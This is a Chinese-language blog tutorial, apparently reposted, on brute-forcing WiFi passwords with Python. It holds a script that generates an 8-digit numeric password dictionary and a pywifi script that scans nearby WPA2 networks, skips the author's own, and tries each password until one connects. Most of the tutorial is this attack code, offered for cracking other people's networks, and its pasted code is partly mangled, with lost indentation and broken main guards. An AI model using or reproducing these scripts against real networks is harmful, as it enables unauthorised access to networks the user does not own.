用Python語言巧妙的實現對WIFI密碼的破解

用Python語言巧妙的實現對WIFI密碼的破解

前言

  相信很多小夥伴們對於如何破解WIFI密碼有過較深的研究,一般時候用的最多的事WIFI×××類的比較多,但是很多的時候軟件不安全還帶有***,針對這種情況小編教教大家如何用Python實線對WIFI密碼的破解,廢話不多說我們開始把。

正文

一、前言說明
  本機運行環境:系統環境Win10,運行環境Python3.6,運行工具Pycharm
  需要Python的包有:pywifi
  這是一種暴力破解wifi的模式,需要的時間比較長,本文主要提供一個破解思路
二、思路介紹
  先生成一個密碼字典(此步驟也可以從網上下載字典)
  循環用密碼字典的每個密碼去嘗試連接Wifi,直到成功
三、源碼設計
  1. 密碼字典TXT文件生成,本文提供的比較簡單,實用破解可以根據一般密碼設置,去生成比較大比較全的密碼字典
  以下提供簡單8位純數字的字典生成方案代碼GetWifiPsdDic.py

import itertools as its

if name == 'main':
words_num = "1234567890"
words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
r = its.product(words_num, repeat=8)
dic = open("password-8位數字.txt", "w")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()

  2. 暴力破解密碼,用時較長GetWifiPsd.py

import pywifi
from pywifi import const # 引用一些定義
import time

def getwifi(wifilist, wificount):
wifi = pywifi.PyWiFi() # 抓取網卡接口
ifaces = wifi.interfaces()[0] # 獲取網卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
allwifilist = []
namelist = []
ssidlist = []
for data in bessis:
if data.ssid not in namelist: # 去掉重複的WIFI名稱
namelist.append(data.ssid)
allwifilist.append((data.ssid, data.signal))
sorted(allwifilist, key=lambda st: st[1], reverse=True)
time.sleep(1)
n = 0
if len(allwifilist) is not 0:
for item in allwifilist:
if (item[0] not in ssidlist) & (item[0] not in wifilist):
n = n + 1
if n <= wificount:
ssidlist.append(item[0])
print(allwifilist)
return ssidlist

def getifaces():
wifi = pywifi.PyWiFi() # 抓取網卡接口
ifaces = wifi.interfaces()[0] # 獲取網卡
ifaces.disconnect() # 斷開無限網卡連接
return ifaces

def testwifi(ifaces, ssidname, password):
profile = pywifi.Profile() # 創建wifi連接文件
profile.ssid = ssidname # 定義wifissid
profile.auth = const.AUTH_ALG_OPEN # 網卡的開放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
profile.key = password # wifi密碼
ifaces.remove_all_network_profiles() # 刪除其他所有配置文件
tmp_profile = ifaces.add_network_profile(profile) # 加載配置文件
ifaces.connect(tmp_profile) # 連接wifi
time.sleep(5) # 5秒內能否連接上
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False

def beginwork(wifinamelist):
ifaces = getifaces()
path = r"password-8位數字.txt"

path = r"password-常用密碼.txt"

files = open(path, 'r')
while True:
    try:
        password = files.readline()
        password = password.strip('\n')
        if not password:
            break
        for wifiname in wifinamelist:
            print("正在嘗試:" + wifiname + "," + password)
            if testwifi(ifaces, wifiname, password):
                print("Wifi賬號:" + wifiname + ",Wifi密碼:" + password)
                wifinamelist.remove(wifiname)
                break
        if not wifinamelist:
            break
    except:
        continue
files.close()

if name == 'main':
wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字
wifinames = getwifi(wifinames_e, 5)
print(wifinames)
beginwork(wifinames)

四、最後小結
  上文生成字典有很多冗餘密碼成分,會大大加長破解時間,實用時可以更改密碼生成方式。

結尾

  通過本文的介紹是不是對於Python如何破解WIFI密碼有了一個初步的瞭解了?關鍵是平時還需要小夥伴們的多多探討。

文章來自:https://www.itjmd.com/news/show-6364.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章